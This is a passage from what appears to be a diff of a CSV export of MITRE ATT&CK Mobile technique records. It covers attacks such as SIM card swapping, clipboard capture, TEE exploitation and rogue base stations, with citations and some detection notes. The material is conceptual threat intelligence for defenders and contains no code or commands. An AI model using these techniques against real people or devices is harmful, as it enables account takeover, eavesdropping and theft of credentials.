14:48:21.965000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there. +Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1458', 'external_id': 'T1458'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html', 'external_id': 'PHY-1'}, {'source_name': 'Krebs-JuiceJacking', 'description': 'Brian Krebs. (2011, August 17). Beware of Juice-Jacking. Retrieved December 23, 2016.', 'url': 'http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/'}, {'source_name': 'Lau-Mactans', 'description': 'Lau et al.. (2013). Mactans: Injecting Malware Into iOS Devices Via Malicious Chargers. Retrieved December 23, 2016.', 'url': 'https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf'}, {'source_name': 'IBM-NexusUSB', 'description': 'Roee Hay. (2017, January 5). Android Vulnerabilities: Attacking Nexus 6 and 6P Custom Boot Modes. Retrieved January 11, 2017.', 'url': 'https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/'}, {'source_name': 'GoogleProjectZero-OATmeal', 'description': 'Jann Horn. (2018, September 10). OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB. Retrieved September 18, 2018.', 'url': 'https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html'}, {'source_name': 'Computerworld-iPhoneCracking', 'description': 'Lucas Mearian. (2018, May 9). Two vendors now sell iPhone cracking technology – and police are buying. Retrieved September 21, 2018.', 'url': 'https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1061 +attack-pattern,attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:22.716Z,2018-10-17T00:14:20.652Z,Exploit TEE Vulnerability,"A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1405', 'external_id': 'T1405'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Thomas-TrustZone', 'description': 'Josh Thomas and Charles Holmes. (2015, September). An infestation of dragons: Exploring vulnerabilities in the ARM TrustZone architecture. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/thomas-holmes'}, {'source_name': 'QualcommKeyMaster', 'description': ""laginimaineb. (2016, June). Extracting Qualcomm's KeyMaster Keys - Breaking Android Full Disk Encryption. Retrieved December 9, 2016."", 'url': 'https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html'}, {'source_name': 'EkbergTEE', 'description': 'Jan-Erik Ekberg. (2015, September 10). Android and trusted execution environments. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/ekberg'}, {'source_name': 'laginimaineb-TEE', 'description': 'laginimaineb. (2016, May). War of the Worlds - Hijacking the Linux Kernel from QSEE. Retrieved December 21, 2016.', 'url': 'http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.0,,,,,,['Post-Adversary Device Access'],MOB-T1008 +attack-pattern,attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:22.296Z,2019-02-03T15:17:11.346Z,Rogue Cellular Base Station,An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1467', 'external_id': 'T1467'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'external_id': 'CEL-7'}, {'source_name': 'Computerworld-Femtocell', 'description': 'Jaikumar Vijayan. (2013, August 1). Researchers exploit cellular tech flaws to intercept phone calls. Retrieved December 24, 2016.', 'url': 'http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1070 +attack-pattern,attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.965Z,2018-10-17T00:14:20.652Z,File and Directory Discovery,"On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there. -iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1420', external_id='T1420')]",attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2018-10-17 00:14:20.652000+00:00,File and Directory Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1023,,['Android'],,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:21.667000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1466', external_id='T1466'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html', external_id='CEL-3'), ExternalReference(source_name='NIST-SP800187', description='Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', url='http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf')]",attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 15:16:13.386000+00:00,Downgrade to Insecure Protocols,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1069,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:21.354000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1465', external_id='T1465'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html', external_id='LPN-0'), ExternalReference(source_name='NIST-SP800153', description='M. Souppaya and K. Scarfone. (2012, February). NIST SP 800-153 Guidelines for Securing Wireless Local Area Networks (WLANs). Retrieved December 24, 2016.', url='http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf'), ExternalReference(source_name='Kaspersky-DarkHotel', description='Alex Drozhzhin. (2014, November 10). Darkhotel: a spy campaign in luxury Asian hotels. Retrieved December 24, 2016.', url='https://blog.kaspersky.com/darkhotel-apt/6613/')]",attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 15:15:18.023000+00:00,Rogue Wi-Fi Access Points,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1068,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:21.023000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location),"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1468', external_id='T1468'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', external_id='ECO-5'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', external_id='EMM-7'), ExternalReference(source_name='Krebs-Location', description='Brian Krebs. (2018, May 17). Tracking Firm LocationSmart Leaked Location Data for Customers of All Major U.S. Mobile Carriers Without Consent in Real Time Via Its Web Site. Retrieved November 8, 2018.', url='https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/')]",attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='remote-service-effects')]",2019-02-03 14:16:59.424000+00:00,Remotely Track Device Without Authorization,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.",,,,,,,MOB-T1071,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:20.727000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1435', external_id='T1435'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', external_id='APP-13')]",attack-pattern--62adb627-f647-498e-b4cc-41499361bacb,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2018-10-17 00:14:20.652000+00:00,Access Calendar Entries,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,MOB-T1038,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:20.329000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). +iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1420', 'external_id': 'T1420'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.0,,,,,,['Post-Adversary Device Access'],MOB-T1023 +attack-pattern,attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.667Z,2019-02-03T15:16:13.386Z,Downgrade to Insecure Protocols,"An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1466', 'external_id': 'T1466'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html', 'external_id': 'CEL-3'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1069 +attack-pattern,attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.354Z,2019-02-03T15:15:18.023Z,Rogue Wi-Fi Access Points,"An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1465', 'external_id': 'T1465'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html', 'external_id': 'LPN-0'}, {'source_name': 'NIST-SP800153', 'description': 'M. Souppaya and K. Scarfone. (2012, February). NIST SP 800-153 Guidelines for Securing Wireless Local Area Networks (WLANs). Retrieved December 24, 2016.', 'url': 'http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf'}, {'source_name': 'Kaspersky-DarkHotel', 'description': 'Alex Drozhzhin. (2014, November 10). Darkhotel: a spy campaign in luxury Asian hotels. Retrieved December 24, 2016.', 'url': 'https://blog.kaspersky.com/darkhotel-apt/6613/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1068 +attack-pattern,attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.023Z,2019-02-03T14:16:59.424Z,Remotely Track Device Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location),"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1468', 'external_id': 'T1468'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'external_id': 'ECO-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'external_id': 'EMM-7'}, {'source_name': 'Krebs-Location', 'description': 'Brian Krebs. (2018, May 17). Tracking Firm LocationSmart Leaked Location Data for Customers of All Major U.S. Mobile Carriers Without Consent in Real Time Via Its Web Site. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.",,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1071 +attack-pattern,attack-pattern--62adb627-f647-498e-b4cc-41499361bacb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:20.727Z,2018-10-17T00:14:20.652Z,Access Calendar Entries,"An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1435', 'external_id': 'T1435'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1038 +attack-pattern,attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:20.329Z,2021-09-30T18:45:26.323Z,SIM Card Swap,"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap) -One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1451', external_id='T1451'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html', external_id='STA-22'), ExternalReference(source_name='NYGov-Simswap', description='New York Department of State. (2016, February 12). AT&T SIM-Card Switch Scam. Retrieved August 23, 2016.', url='http://www.dos.ny.gov/consumerprotection/scams/att-sim.html'), ExternalReference(source_name='Motherboard-Simswap2', description='Lorenzo Franceschi-Bicchierai. (2018, August 3). How Criminals Recruit Telecom Employees to Help Them Hijack SIM Cards. Retrieved August 11, 2018.', url='https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam'), ExternalReference(source_name='Betanews-Simswap', description='Alex Cambell. (2016, February 12). Everything you need to know about SIM swap scams. Retrieved December 12, 2016.', url='http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/'), ExternalReference(source_name='Guardian-Simswap', description='Miles Brignall. (2016, April 16). Sim-swap fraud claims another mobile banking victim. Retrieved December 12, 2016.', url='https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters'), ExternalReference(source_name='Motherboard-Simswap1', description='Lorenzo Franceschi-Bicchierai. (2018, July 17). The SIM Hijackers. Retrieved August 11, 2018.', url='https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin'), ExternalReference(source_name='Krebs-SimSwap', description='Brian Krebs. (2018, May 18). T-Mobile Employee Made Unauthorized ‘SIM Swap’ to Steal Instagram Account. Retrieved November 8, 2018.', url='https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/'), ExternalReference(source_name='TechCrunch-SimSwap', description='John Biggs. (2017, August 23). I was hacked. Retrieved November 8, 2018.', url='https://techcrunch.com/2017/08/23/i-was-hacked/')]",attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 14:13:24.168000+00:00,SIM Card Swap,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1054,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:19.996000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard) +One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1451', 'external_id': 'T1451'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html', 'external_id': 'STA-22'}, {'source_name': 'NYGov-Simswap', 'description': 'New York Department of State. (2016, February 12). AT&T SIM-Card Switch Scam. Retrieved August 23, 2016.', 'url': 'http://www.dos.ny.gov/consumerprotection/scams/att-sim.html'}, {'source_name': 'Motherboard-Simswap2', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, August 3). How Criminals Recruit Telecom Employees to Help Them Hijack SIM Cards. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam'}, {'source_name': 'Betanews-Simswap', 'description': 'Alex Cambell. (2016, February 12). Everything you need to know about SIM swap scams. Retrieved December 12, 2016.', 'url': 'http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/'}, {'source_name': 'Guardian-Simswap', 'description': 'Miles Brignall. (2016, April 16). Sim-swap fraud claims another mobile banking victim. Retrieved December 12, 2016.', 'url': 'https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters'}, {'source_name': 'Motherboard-Simswap1', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, July 17). The SIM Hijackers. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin'}, {'source_name': 'Krebs-SimSwap', 'description': 'Brian Krebs. (2018, May 18). T-Mobile Employee Made Unauthorized ‘SIM Swap’ to Steal Instagram Account. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/'}, {'source_name': 'TechCrunch-SimSwap', 'description': 'John Biggs. (2017, August 23). I was hacked. Retrieved November 8, 2018.', 'url': 'https://techcrunch.com/2017/08/23/i-was-hacked/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Karim Hasanen, @_karimhasanen']",,,,False,,"['Android', 'iOS']",1.2,,,,,,['Without Adversary Device Access'],MOB-T1054 +attack-pattern,attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:19.996Z,2019-09-13T20:46:26.223Z,Capture Clipboard Data,"Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard) On Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019) -Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1414', external_id='T1414'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html', external_id='APP-35'), ExternalReference(source_name='Fahl-Clipboard', description='Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.', url='http://saschafahl.de/static/paper/pwmanagers2013.pdf'), ExternalReference(source_name='Github Capture Clipboard 2019', description='Pearce, G. (, January). Retrieved August 8, 2019.', url='https://github.com/grepx/android-clipboard-security'), ExternalReference(source_name='Android 10 Privacy Changes', description='Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', url='https://developer.android.com/about/versions/10/privacy/changes#clipboard-data')]",attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2019-09-13 20:46:26.223000+00:00,Capture Clipboard Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Capturing clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,,,MOB-T1017,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:19.265000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture. +Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1414', 'external_id': 'T1414'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html', 'external_id': 'APP-35'}, {'source_name': 'Fahl-Clipboard', 'description': 'Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.', 'url': 'http://saschafahl.de/static/paper/pwmanagers2013.pdf'}, {'source_name': 'Github Capture Clipboard 2019', 'description': 'Pearce, G. (, January). Retrieved August 8, 2019.', 'url': 'https://github.com/grepx/android-clipboard-security'}, {'source_name': 'Android 10 Privacy Changes', 'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Capturing clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1017 +attack-pattern,attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:19.265Z,2019-11-20T19:56:49.109Z,System Information Discovery,"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture. On Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build) -On iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1426', external_id='T1426'), ExternalReference(source_name='Android-Build', description='Android. (n.d.). Build. Retrieved December 21, 2016.', url='https://developer.android.com/reference/android/os/Build'), ExternalReference(source_name='StackOverflow-iOSVersion', description='Stack Overflow. (n.d.). How can we programmatically detect which iOS version is device running on?. Retrieved December 21, 2016.', url='http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on')]",attack-pattern--e2ea7f6b-8d4f-49c3-819d-660530d12b77,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2019-11-20 19:56:49.109000+00:00,System Information Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,False,,MOB-T1029,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:18.937000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user 